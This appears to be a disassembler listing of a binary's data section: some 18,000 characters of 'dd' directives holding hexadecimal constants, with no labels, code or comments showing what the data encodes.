dd 444DA424h, 332BB274h, 3B1CDF48h, 8E6537DAh, 0BCCD822Ch
dd 1594F14h, 0F1938577h, 6CCF5FB2h, 553633B9h, 0ED15EB97h
dd 0CC14218Fh, 4EC81406h, 45F5D351h, 0D9342AC2h, 6D9B5A8Fh
dd 4E068C9Dh, 7775981Ch, 0E92B3FD3h, 0F48077D0h, 81A2821Ah
dd 854CA4Ah, 0BAF52CD8h, 0EABE1AA7h, 0ECC6F04Dh, 0FD855E77h
dd 4CEA70D9h, 514D6B9Ch, 0BE27FEE3h, 0EE7C0586h, 7402C2EDh
dd 7B7008A7h, 882F5FEDh, 0BFC9108Ah, 0FA288BC8h, 0EC1F3DECh
dd 5480B55Bh, 0C7481B1Ah, 34B2341h, 0C0086541h, 0B5C635DEh
dd 7626F89Ch, 1EE1A4D9h, 2E3B434Ah, 0D755BCA2h, 718FE025h
dd 0F0E09945h, 9443D72Ch, 0F491C596h, 2F5300F6h, 4CF30AEEh
dd 0D5EEFA04h, 4C031B14h, 38451A11h, 0F8EDA50Dh, 60380F26h
dd 20832B63h, 13B3AFE6h, 0E3820CA6h, 2D33E0CCh, 2BA810C5h
dd 88C9F4F1h, 599D727Bh, 1E08055Bh, 64CCE579h, 0F0D43C0h
dd 3573B856h, 3CD5193Fh, 3AEB98B4h, 0C974FB07h, 86B04D3h
dd 3E92C8DAh, 1CCC2FB4h, 0F061B890h, 494BA6EFh, 25BECFCAh
dd 0F670D46Eh, 31C1B5DDh, 0BB22F29Fh, 22BFCF88h, 15856F7Fh
dd 0D74DC2Ch, 0AC103A3Fh, 73EE034Ch, 0BFC3C32Ch, 0A1A48456h
dd 0B5671E01h, 99FF851h, 0B91808DDh, 7FF0508Ah, 0D4D1FD48h
dd 9EE41F44h, 738AB095h, 0F2804009h, 0B9B2C93Dh, 5A97558Ch
dd 51BE9B03h, 0B582A6E6h, 0C3B986D4h, 6A18BE27h, 0EF712809h
dd 0ABF0AAD4h, 0AB6E8AC9h, 0B1E5CD2Ch, 60E4023Ah, 38EA2CADh
dd 0B489DF03h, 86D35060h, 0A345AC25h, 6A707C83h, 0EB75E56Ch
dd 8005158Eh, 15F3843Bh, 6C235AE9h, 70E6CC03h, 6FD88DBDh
dd 0DBE021E8h, 4ED8DA2Ch, 60600472h, 0AC589BF5h, 5D43B93h
dd 0D5DEF50Ch, 0A425518Dh, 5137F992h, 0E7D26E3h, 0E44292A9h
dd 0BF5ADD08h, 0ACB00E8Ch, 0F9BC2CF4h, 48EFC93Fh, 0A5A0EA2h
dd 0C3D61267h, 0A8288794h, 0D098F03Ch, 2F714CCFh, 3F3F3059h
dd 728F4326h, 0A36DD1FCh, 1CD708B4h, 0B463B1D4h, 0F13A9400h
dd 0A9410DB4h, 5F9150F9h, 8FF33582h, 67CD9ABCh, 4E6ECB8Eh
dd 336E0A5Dh, 3A6BC637h, 41952A3Dh, 3C99C149h, 4E9F8C68h
dd 0F50A8BCCh, 0FD72E205h, 5AE612B2h, 4E438A1h, 0A9B7A429h
dd 76C7DDB1h, 990163Bh, 0E3FF1974h, 2BDAFD16h, 0DF9F832Bh
dd 69B30481h, 0AAADB70Ah, 8200CA5Dh, 97A199Fh, 972886F6h
dd 49111E53h, 34BAD71Dh, 0C93E2910h, 0E8A5C845h, 4E58F875h
dd 0ACAD0EEAh, 0CC5DECE0h, 0B8330F5Bh, 25B13864h, 78BE5C77h
dd 96946AC7h, 9C7B9461h, 2FDCF6D7h, 0CC79D1B2h, 1932674Dh
dd 8C9E5E83h, 0E3A0D00Dh, 0E2474184h, 0E0E56530h, 2A9E1933h
dd 60BBC41Fh, 0BF077BAEh, 0BB99A499h, 5CADC572h, 1CD9E3ABh
dd 3BCA5BE7h, 97F2B48Fh, 59AC15E7h, 0E6B5EDD6h, 0ACB40AB6h
dd 92739699h, 3A156477h, 0C5CEBC85h, 6A2AD683h, 6314B65h
dd 0BD98EAE5h, 0D9BBC219h, 0ACBB808Eh, 65CDFB5Bh, 0C990CEDAh
dd 6EFF00E3h, 0F5DD16E3h, 0C85E87B9h, 0B99DD17Eh, 0F08B4C43h
dd 7438C0E1h, 7E4E46E2h, 8A1D10A9h, 0FE1D2B3Dh, 0BAAA4404h
dd 46C07AD3h, 5018BBC3h, 0D005D713h, 0C8821DA6h, 1A704607h
dd 14A65C7Eh, 0F3047AF0h, 32172969h, 0C3D2AFA8h, 0B436A2D4h
dd 924244A5h, 9D321E90h, 6320A43Bh, 0A86506FEh, 78732408h
dd 0FFC7698h, 7E20CA6Ah, 309133AFh, 97478A68h, 0B4BDFC28h
dd 9CB790A7h, 0E8175C30h, 195B7381h, 56ED8785h, 37C6185Eh
dd 38A1CD48h, 0BCC0BEBDh, 0CEC4FD2Bh, 0D5DC3B4Fh, 0B6133A99h
dd 0EECE1346h, 286939F6h, 0A24E1268h, 8C4B878Ch, 0A3B6EF8Fh
dd 2E8C2007h, 2B655538h, 0A2593424h, 990B9730h, 6165407h
dd 616795CAh, 0F25ABB2Eh, 764ECC96h, 0D5999F91h, 0E4CC6569h
dd 8CA623F2h, 6402DE4Ch, 0ECC38E5Bh, 5156FB17h, 35FB3591h
dd 0DC893Ah, 0B62D8B9Fh, 8BA20C91h, 0C5001818h, 0BAA7CE63h
dd 2FFFA240h, 0A1D50h, 3025F0E2h, 77C7FA15h, 24D3385Ah
dd 0E3F4D90Fh, 0C1556C07h, 0BE314C55h, 0F46C7138h, 3616BCB8h
dd 87034A95h, 0D8C8709Dh, 0B2D027B6h, 0C1781E08h, 0E69E3216h
dd 0BBD6ABA7h, 3E87E1C9h, 9C17ED35h, 2F48E750h, 0A9ED4E32h
dd 0B45ECC29h, 0A7A427A3h, 0ED0011E5h, 28C4F52Eh, 0B2F04B68h
dd 35480843h, 0EF478AC2h, 0C805303Fh, 68382B12h, 3087A8E3h
dd 90ADBD4Bh, 0AC49B209h, 9C09DECAh, 5109A6B0h, 0F9D6F94Dh
dd 0A792258Fh, 48738682h, 0B214F59Ah, 6609B55h, 61883AFDh
dd 6EF77784h, 0FA71E373h, 43D33CB0h, 16A141DDh, 1401E15Fh
dd 9CE409A1h, 949D55A1h, 7B2D3921h, 93753F5Ah, 3F2FF841h
dd 31D3D6BBh, 5A00BA08h, 0B1E49D0Bh, 1F48489Dh, 7FB779DDh
dd 7131DC36h, 3DAFC3F4h, 4BC0A295h, 0C12EDEA1h, 0E440A165h
dd 0ABD7A2CCh, 41B319A2h, 0F577AC6Fh, 0BB039BD5h, 126120D4h
dd 25CA5B8Dh, 67B6F6D8h, 91E69512h, 69A62AF7h, 82E3CBE6h
dd 823605D0h, 0E4407F52h, 0C943DBCFh, 618840FAh, 0B2E66259h
dd 0B2AF6C15h, 0ECF3771Dh, 3AE5655Dh, 0FB3C4D6Bh, 0FF54389Fh
dd 0EC545F41h, 658F4EA6h, 363A97E9h, 0AFC3DE4Ch, 1BE795FBh
dd 0B96AC26Ch, 2ACB5072h, 0B22A569Dh, 0CAA11DFAh, 0B07C030Fh
dd 79B80019h, 29EFE697h, 67290086h, 87A8CD75h, 0CF2743E8h
dd 5F9D493Bh, 602A5FECh, 0A6E5F8A2h, 65185617h, 30763B72h
dd 9560D461h, 28F6FBEBh, 8A801892h, 52DEE4AEh, 0EC258562h
dd 0AE83E8B2h, 6FBB51D3h, 87425276h, 0F63E3E96h, 583A3A74h
dd 4A86CBBAh, 0A352835Fh, 0C5264AF5h, 0E88AD15Ah, 48BA8103h
dd 525506C6h, 0AB0F33A2h, 0D2692578h, 6DAED68Ah, 141F93F0h
dd 3A1433Ch, 58E980A3h, 63D02754h, 267FD52Eh, 0B66834EFh
dd 0F530AA1h, 0D3C086E9h, 0DF02ADDFh, 4CBBF8CBh, 0FDD3231Bh
dd 25E09F5Ah, 10519EFh, 0E4F730D8h, 0E26379BCh, 74494AE7h
dd 0B6BE758h, 8213058Eh, 20BD2056h, 0DA365524h, 0FE9007ABh
dd 0BAE67AB1h, 13BDF732h, 791F6E7Dh, 0DFF9D7A7h, 52EC046Bh
dd 0DF9247DBh, 0F926600Ch, 35D06891h, 0BF7508B8h, 155F5866h
dd 11AF9419h, 6816808Ah, 6F799862h, 0CDC08B31h, 92020616h
dd 7902E53Eh, 2EA2A95Bh, 5CF23ABh, 47E8BA80h, 4BE82EC7h
dd 0C8DE4256h, 0AFB740EAh, 119B0C25h, 0A408535h, 38CB0EE9h
dd 0A90A2E6Bh, 7C97E5FBh, 4A1C8796h, 3F614058h, 0DEE32430h
dd 3C536EAEh, 0BFEBCE0Ch, 9D1B1D07h, 0F4AE234Dh, 6965D69Dh
dd 192DA615h, 162C7526h, 0DC31A2EFh, 0A551A9FFh, 295BF7DFh
dd 0BC5EEB24h, 0B8138D99h, 8CC99C04h, 0E67FC112h, 3A93DFE1h
dd 0B3B98414h, 3583FBB9h, 95E22837h, 6A5F59F8h, 0A09BC336h
dd 0B7FFD46Eh, 28701921h, 398869h, 0BB1794CCh, 0E65C567Bh
dd 642AFC61h, 0F7E33039h, 0CA360836h, 15268A66h, 1C4E9DA6h
dd 43BFD051h, 0BA7188F3h, 0EF91E4A8h, 4A8CB396h, 0A2EC8709h
dd 4FCE54B3h, 62A402F1h, 478303BAh, 4BEE3534h, 75021FAh
dd 0FDA12B6Fh, 0CEABCBA3h, 46DA563h, 0AB6AB029h, 0AE4CAAD7h
dd 6106A793h, 0C44524DCh, 5B2E66FFh, 2F795386h, 0FF830C9Eh
dd 0AF8CB70Dh, 0FAD6755Bh, 19B0E6F0h, 416ABCECh, 39FCC7CAh
dd 0D99E49ADh, 8D9E7D9Ah, 0F5403D60h, 2643DD46h, 14FDFA8Dh
dd 4B854E94h, 38E21B4Ch, 0F89A9EA6h, 0A68F4235h, 0FC1A65C4h
dd 895AAB0h, 1BAD0694h
dd 0E03DF8A6h, 0E6AA572Ch, 0FFC64232h, 0EDF9F0Ah, 0A2714675h
dd 3D6E0E6Dh, 44F60010h, 5C63F4A6h, 7005219Bh, 8BA105D2h
dd 83C336F5h, 9860791Ch, 784E710h, 78D33D96h, 4C9377Bh
dd 0BF008530h, 0C4102F0Bh, 0FE6EE142h, 0A595759Ch, 87590142h
dd 0BB4FAEF1h, 606C3487h, 0B832B01Ah, 0C6E50301h, 0BE18AB14h
dd 9D2B74E7h, 69DBD5ECh, 0FB9025BFh, 5345BF14h, 21C08806h
dd 41396DF1h, 0D965CFA1h, 0E84A369Fh, 4C97CFA8h, 6C44CDC8h
dd 1DF07A09h, 6D55E76Bh, 0ECA9CDE9h, 8431645Fh, 72A9D511h
dd 0DFC33DA2h, 7E2873A7h, 19A31F29h, 9472D19Eh, 0F964FC67h
dd 0C6930571h, 6275E328h, 72C1D810h, 4EAD25FAh, 0B93076F3h
dd 1D501D15h, 0FFACCC49h, 0C44C9CA7h, 13C0DD55h, 27CF205Ah
dd 17940BF0h, 84EE34E2h, 5A941367h, 0A2074299h, 698D3FCAh
dd 0D60B4659h, 0E7C83EBBh, 0EE632E53h, 173F8D97h, 310658C2h
dd 0E33CEDD3h, 3C11E616h, 1176179Bh, 64AA5A24h, 898A89F2h
dd 84245C77h, 55263F6Ah, 4F080F3Bh, 84C586C1h, 0EE73B186h
dd 3485B56Fh, 0F688827Ah, 0B8AA62BDh, 0E7DB23FDh, 471954D5h
dd 839FE9BEh, 6EBB50E4h, 34501511h, 0BD452A2h, 0FC3B9B17h
dd 4BB73A5h, 1F18C18h, 0F263AE46h, 74EAC38Ah, 0F59E46CCh
dd 0DC34F645h, 0C93F8E6Eh, 877BF2CCh, 6824C10Bh, 3748A9E6h
dd 191E12DAh, 0A306AE9Dh, 667D6799h, 0EC905796h, 145FCE11h
dd 0E70A16EFh, 6A255212h, 0DFB88121h, 0BC0FF561h, 0B86BF33Fh
dd 0F7E6839Eh, 2965366Ch, 0FC47598Dh, 0F8333815h, 2580BE46h
dd 0EF0780DCh, 0E11CD04Ah, 67475430h, 16564D2h, 0CE3E5152h
dd 2E52E0A0h, 0C3158073h, 0CB89B9B8h, 8F438C5Ch, 895BD2C7h
dd 1799717Fh, 0B66FEB54h, 93C7F0AEh, 0E9A37C9Dh, 8B287C69h
dd 0C8CDEAC2h, 40127B3Fh, 0CB762909h, 0D03C1400h, 0CB449EF4h
dd 2199A062h, 67B322A4h, 28CB05E5h, 4C7524D8h, 0B6323285h
dd 98E20D70h, 6D2B62A4h, 61ACF0BBh, 33D44B9Ch, 0CFB5D197h
dd 4959796Dh, 0D563A68Eh, 2DA0019Ah, 4B032544h, 5FC624D6h
dd 48FEC1D4h, 8FD98BFDh, 118A7A14h, 0A803EAAh, 0C24708F1h
dd 80AF563Dh, 0B5805149h, 47A77DCAh, 39AE3A40h, 827A54B3h
dd 7A01A2B0h, 4BE4C504h, 9647338Dh, 4FFC07B8h, 2D053C18h
dd 0A86AE71Bh, 6B906F4Ch, 947AADA7h, 483CD49h, 0C37C2261h
dd 5FA0D2FBh, 67C12B5Ah, 0C100A37Eh, 31B9AF90h, 7CC2B644h
dd 987A5FADh, 33DCA3EEh, 11AFD540h, 1630F8B3h, 82851EFCh
dd 0E7913743h, 207E3694h, 0F6714DADh, 0E765C32Ah, 0AD984C0h
dd 2F305964h, 25A2DF0h, 78C6B446h, 13C74FEh, 0ECECA703h
dd 0F0238FB6h, 8C4E6DEAh, 0C60D079Dh, 0C3D309h, 97D041B8h
dd 0F40D6CC5h, 539295E3h, 0B0D3D495h, 6C331599h, 42434CC8h
dd 5059843h, 3AD10AF1h, 5F1E5398h, 76FE862h, 0D964A404h
dd 5C5B69DCh, 390C05D2h, 9635B01h, 0F2250DF5h, 9B89F011h
dd 276FEE52h, 0F33396B8h, 9CA14B40h, 0FC8F6F7Eh, 0F9C16D60h
dd 0EFD22B7Ch, 2125DDACh, 0F78D4382h, 0E8D290DEh, 0A08F7B73h
dd 3CE2B923h, 7C159BD2h, 0B9624680h, 0E216650Bh, 1FD12FE6h
dd 0AC4EA738h, 4A8C7EAEh, 0DB1B4D31h, 3133ACBEh, 69D02568h
dd 7A10AF00h, 385BFF5Ah, 2A27530Ch, 59F890E4h, 73BA7740h
dd 2BF98F45h, 7F9A0562h, 0ECB19469h, 0BE11CF3Eh, 0C23DD67Eh
dd 0A5508A00h, 93280D08h, 0F02D7Fh, 0B15D050Dh, 0C7477E4Dh
dd 3BF0BF36h, 3DBC49DEh, 4A38932h, 0BB709EC0h, 0BBBB228Fh
dd 5C854936h, 253F58A8h, 32316751h, 0E7F820CEh, 9D54D6F9h
dd 678EF643h, 0A6C14D9Ah, 53534111h, 0E9BD195Fh, 0CACF8C46h
dd 66B61935h, 266ED00Ch, 0D5F37D0Bh, 0D098D583h, 0A92B2D06h
dd 0D4E30D0Bh, 0DD65E59Bh, 61784D2Ah, 8094AD15h, 5C66A29Dh
dd 78569834h, 49E54AF5h, 0B38EFA64h, 74640EEh, 135DA4DDh
dd 0ECE11303h, 0FFD35B24h, 0DE42FBE7h, 0EF0E620h, 460A89D8h
dd 0B1C19901h, 0C14C00B0h, 2F0BEEE2h, 0BE49C733h, 6B2566ACh
dd 9AC20D31h, 0BDF746D3h, 471E43AFh, 0D717158Bh, 333C9175h
dd 0E85138C5h, 0D0C4044Eh, 0BC737161h, 2D4A0533h, 6D3431C5h
dd 0F2C66DD4h, 0FACFFF55h, 654D6924h, 0B084291Eh, 5289DCE4h
dd 33892578h, 36DD174Dh, 84AB697Dh, 2E8E5F66h, 0F86449E9h
dd 2938E2F6h, 0C26437h, 495D956Bh, 1DFBEFC2h, 0B5A1D59Eh
dd 0D47B5E19h, 0B4724A0Ch, 9E1CEEDAh, 8793C7Fh, 544841Eh
dd 456A4584h, 976DCEAAh, 0CB4FFF5h, 4F7C54EAh, 0EF57EB7Fh
dd 0CA1B0AEEh, 0DC8AB433h, 0E5982211h, 5013C8D2h, 2038CD68h
dd 3CF4837h, 0A35FDAF8h, 28CFD6B3h, 0A3B5A14Dh, 16391804h
dd 48D47667h, 900015B2h, 0DAB97D77h, 1AD28411h, 75876FFEh
dd 73F0D007h, 198BF1B7h, 8A5D4927h, 66342070h, 217231AFh
dd 35B50285h, 8CF2B5E4h, 8688066Ch, 25281DBDh, 6F6BFC71h
dd 150775F5h, 209F511Bh, 68FAC1ADh, 96BABCCAh, 141D7DB1h
dd 6D9DA371h, 17D61A0Fh, 146D1227h, 0F06DAFF1h, 98C46C9Eh
dd 2850F29Fh, 3CE55B7Fh, 0E56289h, 27A50FA3h, 31E9387Ch
dd 0C9E52905h, 0CF5E4733h, 556214B5h, 0D213770Eh, 3F7A128Dh
dd 0FF4D763Bh, 6EDA4863h, 8C68607Ah, 0FF1E4544h, 8A2A1A56h
dd 3294916Ah, 965C6EFEh, 9BA795DEh, 996066A4h, 0E55D00B1h
dd 0EAB852EFh, 0BFA10C4Ah, 64367973h, 2F17037Fh, 2A5C7F7Bh
dd 0B23D5264h, 6A14C11Eh, 5AE204B5h, 48AB4D4Ch, 66A98032h
dd 3F033DFCh, 4ACA45E0h, 59E6C9E0h, 2856D926h, 0DF7DE984h
dd 74D11EECh, 52C8C4Bh, 38726ED9h, 13B2969Ch, 8BB85E74h
dd 9DD7CC2Fh, 0E2143B0Eh, 0A6D30654h, 0DAB098EBh, 891CD9FFh
dd 4AFA2302h, 0F02A74BEh, 0ADFA60DDh, 9216CE25h, 919EA657h
dd 8A913ED9h, 89A41D0h, 0E0008FF2h, 5891A313h, 28F8729Fh
dd 0E2B094D7h, 9E6C1735h, 5A84D051h, 0D970B030h, 34DDDFDBh
dd 650BC7C4h, 18C272AEh, 15ABF952h, 0D319BC15h, 5FB11026h
dd 8B1D7AF9h, 709B95CCh, 527B441Ah, 20391C44h, 0A0E28F5Dh
dd 7B8313EDh, 220A07B0h, 8A684FBDh, 8F7B1344h, 467CFACAh
dd 909E91C5h, 8CB8C8D7h, 59876773h, 0E402B68Eh, 3F951605h
dd 67931418h, 0E13982C1h, 0CF278FCEh, 0A15415A2h, 24C91A6Dh
dd 0BF09B2A6h, 0E5DBD1F7h, 98D94E32h, 0A339304Fh, 0C9391492h
dd 0D832E546h, 10365E9Fh, 0EA3B922Fh, 50575DCDh, 0E2E194BFh
dd 2D08FB06h, 5F158A44h, 9A322094h, 1C811C5Fh, 0B490B40Ah
dd 2EC2585h, 65414093h, 0C4DBEBBDh, 3EFD5AFAh, 6620C590h
dd 5FD51CA6h, 9039B8B7h, 296B1899h, 5FF40067h, 9BEE9CECh
dd 0EEAD69B9h, 49BA952Bh, 86B010D3h, 4427253h, 4A8252D2h
dd 0E993C293h, 116D1449h, 30D88996h, 9879F396h, 30B5F70Ah
dd 0B5FC20Fh, 66330B03h, 7D780E8Ch, 0A2B153E2h, 0CAB15AFFh
dd 59C783BAh, 0F39EE6ADh, 9F6B7AAAh, 0C2E3E33Ah, 0BF1D4DE7h
dd 0A152E489h, 691CE589h, 264227DEh, 0C5B6E087h, 0E9F4DA2Bh
dd 0B8830C8Ah, 9D0557ECh, 0E11D1ECCh, 27A3F191h, 0DA1E849Eh
dd 0B241304Eh, 7B449BA1h, 99D260F9h, 9FD60009h, 143A21BAh
dd 0FD68BD8Bh, 0B122A385h, 0FA09A44h, 0F26DEEA3h, 8B36D9E8h
dd 0E57CFA22h, 0A8C46164h, 6057E6E3h, 4F79C935h, 0E435D217h
dd 0D7197F08h, 58FB826Eh, 0D41C0BADh, 0DDD5A31Ch, 68D9A620h
dd 33499734h, 0D5671995h
dd 0B3870B41h, 577F9A20h, 0FE862288h, 585D7DBh, 0C74C8DC5h
dd 0BF86DAAAh, 42CF1D03h, 3BB544FDh, 3BAB254Ah, 0FA314432h
dd 2C59B0A7h, 659BAFF4h, 533C1FC7h, 1052AE1h, 0A483C792h
dd 237E5B2Bh, 6E9A8F8Bh, 0AD255CB1h, 0BEEBD285h, 0B51EE9C6h
dd 642119B0h, 825B1D09h, 27EE781Ch, 0B76D298h, 0AE989F8Bh
dd 0FB72B5E2h, 0ABB501FFh, 0D37283ECh, 0AA738956h, 2D90AC86h
dd 5DB450A6h, 21D6C38h, 4E88E3FEh, 28066B2Dh, 6F728C13h
dd 65D0689h, 0A8885AECh, 3985D4B1h, 5DFA2438h, 921338EAh
dd 97B8D502h, 0FB56840Bh, 8FABF8Dh, 58A46B79h, 78AFA1B2h
dd 96B89BEDh, 748C5148h, 22CDC333h, 0B44B1914h, 9D080E4Ch
dd 104B37AAh, 7BD0D41Fh, 0D06F7718h, 6908929Ah, 2B2E6CE7h
dd 524C7B16h, 0B8D4E3F2h, 0E849B8A8h, 18789952h, 0C0216607h
dd 966A3719h, 9DAABD7Eh, 6D29553Ah, 2D93E8D8h, 0AC4C061Ch
dd 9CA732ACh, 54A1A954h, 0EF1913BDh, 0B989E9B2h, 0B4D6A883h
dd 0AE35F0E8h, 19B4AF93h, 6A90B6A7h, 81350CB6h, 892912D1h
dd 0FC279E36h, 21207678h, 0D01AAA9Eh, 41EDF002h, 1AA94B0Ch
dd 108293B3h, 0C05DD3E7h, 649B629Ah, 524491BBh, 0AB0B1E9Ch
dd 8AA813C6h, 3D187A5Ch, 288A452Eh, 39CDE27Ah, 0C84963DBh
dd 35009A2Eh, 0DF5B3314h, 6E1D20CBh, 1583C475h, 0DECD37C3h
dd 0A52E70F6h, 0B7FA7BA2h, 0C3D1145Dh, 0B9D885A2h, 6FF1989Dh
dd 9A6DF9B8h, 8F8EA710h, 0F3F2E2E7h, 293B7874h, 14F08BFAh
dd 1462490Fh, 0D5392C75h, 97FB5146h, 0F11F8E2Ch, 624E11F7h
dd 0DE6AED25h, 78E2E473h, 86B132A3h, 0E6016BDEh, 0D98B3148h
dd 1024EC01h, 56B2CB84h, 0F898206Eh, 0D6664261h, 3B847C9Eh
dd 0FAD3487Eh, 0F7CDC48h, 78F2A5A2h, 0F481EBCAh, 1C6AC7D3h
dd 0B1C59272h, 96AFACE3h, 0DEDB14A9h, 7B252DDEh, 0CB1BC4BEh
dd 8EC14814h, 0B5631133h, 566B73D7h, 0F2BF9946h, 14EC8F8Eh
dd 28DF1717h, 7ED7D414h, 4F437762h, 677128Fh, 0D0DBD057h
dd 53BB4BCBh, 6CF8C8D8h, 6AD229FDh, 0CC9002C2h, 1207455Fh
dd 79615539h, 2E12E2C6h, 5522737Fh, 47C89990h, 0DDAFC3F5h
dd 5610A474h, 2DCD7715h, 1B08D959h, 0F1D56EE0h, 2D86CFE7h
dd 2B12B8B2h, 669E2284h, 4B800811h, 0CDFA72B5h, 458EBBFDh
dd 35219CA3h, 371EC5CDh, 0EA570BB6h, 956EEA9h, 436A56D8h
dd 0C475A439h, 6B1445A6h, 80368289h, 0C9EE9007h, 9F8BDC5Eh
dd 65BF7801h, 0F18C9674h, 0BF8524C9h, 0A1A8EA62h, 938BFC74h
dd 963DBE57h, 0FF96F665h, 0E9294AC5h, 4A89534h, 49FCF225h
dd 0BA7E221Bh, 5FCC3E61h, 2A786F78h, 3132E36Dh, 0B874E749h
dd 0C268E044h, 29C40765h, 4B6B3D3h, 3C5DB4E5h, 0DEE91342h
dd 5B17C0B5h, 594F6FACh, 0AC0C4840h, 0C4B58337h, 2ED40944h
dd 0B0642FE9h, 0FD9E168Ch, 0B8C7A65Dh, 0EB6C7D3Ch, 2D12B474h
dd 9CECE486h, 0DE81BB1Dh, 51B0CC4Eh, 0F49E611Ch, 1E7F5EC6h
dd 8C9A2924h, 0F52B696Fh, 5325FEA3h, 8C380EFBh, 89490FD9h
dd 77FDFFFFh, 0B7346D54h, 9236B9B5h, 0CE06230Eh, 0D536E93Fh
dd 2EF9667h, 48864A90h, 8459B8EEh, 0AA996A5Bh, 0DDDD8969h
dd 3075CD61h, 9F2F5CCEh, 187C6D8Ch, 2116E59Eh, 26EF69AEh
dd 9D500C89h, 0A024079Ch, 739488C5h, 832EEC74h, 6CCA46BAh
dd 3397E7DAh, 723E9B42h, 16B64412h, 7564FF73h, 0D6D8CCE5h
dd 0E56D0F8Dh, 60F27B3Ah, 0B3CE4E83h, 5A4AAA46h, 0D9A104D4h
dd 0BACC9BA8h, 4F5DA340h, 0AD6FFE10h, 5CE76C1Ch, 430A64F1h
dd 8787119Eh, 0B5C7C47Ch, 6D7A37A9h, 58BBA83Bh, 746F5CC1h
dd 228B5A44h, 4CF43736h, 32CB9626h, 6DF6BEEh, 66984442h
dd 51FD3055h, 8D6F395Eh, 7A10AF08h, 1EBFCF8Bh, 0E7665C9Eh
dd 7ECA59B0h, 0FA980AC9h, 502FEDF1h, 0FB26A18Eh, 8D3CE274h
dd 4F4E65FEh, 0FD5E4836h, 0DCB0F2D3h, 0C707088Ah, 0E39520F3h
dd 0B3F39328h, 961E509Fh, 0BD751858h, 0DF34CBCEh, 3A2A09CFh
dd 0A3E11DD0h, 4A08C86Ch, 0C30B001Dh, 2AC1A29h, 9A6DFFC7h
dd 0D033CB2Ch, 0D41A3881h, 26D9D333h, 0CBB03D21h, 0F861AE58h
dd 2FFEA7ACh, 454B336h, 653B9733h, 78DA3CDDh, 0B436C900h
dd 8466BE93h, 0E8146A97h, 0B625883Fh, 5588764Eh, 9E99EBB2h
dd 10D87A57h, 72BFD8CBh, 1541AF88h, 0D64E3BEEh, 8CBE7371h
dd 0A75DC0D6h, 437EF327h, 7B361330h, 46BAD064h, 0D85C28E7h
dd 4D01D02Dh, 9AD32974h, 0EDC92650h, 0F2E8E93h, 9AA90B7Ch
dd 0EC873155h, 0BFED81CCh, 27289119h, 4D5298A5h, 5EF44B4Bh
dd 0F81868C5h, 0CB7DC6A7h, 0CCAC7617h, 75EA599Fh, 9F16DCAh
dd 0CC5A45D8h, 3D65758Ah, 4E90815Dh, 0C1934BA2h, 0BE548948h
dd 0A48EA5A1h, 0E62E09E7h, 6DACD6Eh, 0BE566824h, 0DA69A978h
dd 0B52BC499h, 0AD1838EAh, 2F832A0Ah, 0D635E33Dh, 5712BCE4h
dd 8CC761A6h, 9CE9E9AAh, 3482C384h, 87AFAC79h, 3C61771Fh
dd 0A12E9993h, 0D3C2111Fh, 0E01ECD2Ah, 6C83C275h, 0ED2C09D6h
dd 0E61FAF39h, 0D354CCB3h, 0E9066DD3h, 8B7DE55Bh, 243FADADh
dd 0DA3F2AF0h, 0E4092661h, 0FF007815h, 383BFC3Ch, 653E1B98h
dd 192A0F30h, 6BA2BC22h, 36F92110h, 5F75BDCFh, 8561331h
dd 576BAD61h, 6E6DB0F6h, 56C51CFAh, 7D40630Bh, 45E838E6h
dd 91544CD4h, 0E6CB64C8h, 8825BA68h, 656C843h, 115996Ah
dd 43991FDDh, 82F027D5h, 0C21265DDh, 9B5E60C2h, 853071F0h
dd 9691D6D2h, 89289D33h, 0B3B204D1h, 2A1123A2h, 0B5F7DC3Bh
dd 0A88EF1A8h, 74D0BFEFh, 31CC47D9h, 6161D681h, 0F63095A0h
dd 0A8384CD5h, 0BDFE59E8h, 646032A1h, 0F71649B6h, 2EB6914Eh
dd 0C3575818h, 674FEADFh, 0BC89EDFBh, 0CEC6EF73h, 0BC4C61DEh
dd 88AA176Eh, 3E254E83h, 7BD660A7h, 567FD635h, 6F811D45h
dd 0AAF6A69h, 5B97E55Ah, 7F80CBFCh, 0BB2F01Dh, 3E6BBDB5h
dd 3814E97Dh, 3E35FDAAh, 26E31614h, 0FA069566h, 4821CCB9h
dd 29DCD1B1h, 53F92B63h, 94A5CDF8h, 0C772C8A2h, 0CD825FA1h
dd 4C6CF5D1h, 0EF4B98DFh, 6A1E8FA6h, 0BCE369BDh, 898FFAA6h
dd 1AF01B4Dh, 468CE0ABh, 0F4440579h, 5CDAD582h, 0D4C79834h
dd 0A0A07FE7h, 4CD6D18Bh, 0D27DD71Eh, 0B1FE6A6Dh, 0E1D04F9Dh
dd 3F7B65F6h, 1594428Eh, 0E8221651h, 0F63824CEh, 0D4A2814Dh
dd 962F6770h, 980D8D6Ah, 784CD5F1h, 472CBFDEh, 159B83A8h
dd 3D90A13Bh, 1697195Ah, 8FD84145h, 0E171CEAFh, 0F407D706h
dd 83ADF220h, 67E084EFh, 0F81FDC8Ch, 0F8E259EDh, 3721EDDh
dd 55F43362h, 0C9C99017h, 877506CFh, 4E20D7FDh, 6C305308h
dd 0F86E1C89h, 21184532h, 0D2C6B149h, 0AAD5FE5Ah, 0E008BBAAh
dd 0DEDAD251h, 52335539h, 491902DDh, 531CE29Bh, 599B125Dh
dd 0A513A62Fh, 0C9CD07E8h, 0DAEDA1C5h, 83A69ABFh, 35E09997h
dd 0BE964B34h, 72A1DD00h, 0EB260D3Bh, 0ED4BA92Ah, 0A20DEAFDh
dd 5810F383h, 0F50F2B5Ah, 0D3878B99h, 0A7633856h, 74496A3Eh
dd 91C44C0Ch, 0B11EC642h, 45B3388Ch, 7902035Fh, 298D0287h
dd 0F55FFF8Ah, 3A1BE12Dh, 6F485714h, 0FF1D179Ah, 0CAC2E06Dh
dd 7520279Dh, 0C4D2D609h, 0AE0F3B71h, 66015CA2h, 0FE383A19h
dd 6725DDACh, 0CE0E451h, 0C4A9A912h, 7EAE728Fh, 9DE9AD79h
dd 6CB500E0h, 999AC5AFh, 0BB55B9A0h, 5298B5E5h, 7A983886h
dd 0D6EB1270h, 41BD1D88h, 0B79D9A6h, 6EDE93C2h, 606B8A40h
dd 0DEEF05D9h, 0E640C211h
dd 1763AF3Eh, 2B33A4Fh, 82F40306h, 457EE2DEh, 624648C9h
dd 45E7381Fh, 46FBA0FFh, 86BB0ED4h, 49A0C70Ch, 0E102DE1Ah
dd 233C887Fh, 97E32BBDh, 0FD3F492Dh, 5E1A3138h, 15169D68h
dd 229C6E42h, 0A2045CD9h, 0D3AF9B37h, 0A4C31ADAh, 0BC3F2B03h
dd 3F9DD8A1h, 0B4887E10h, 1804BC3h, 8389148Ch, 0D13801DDh
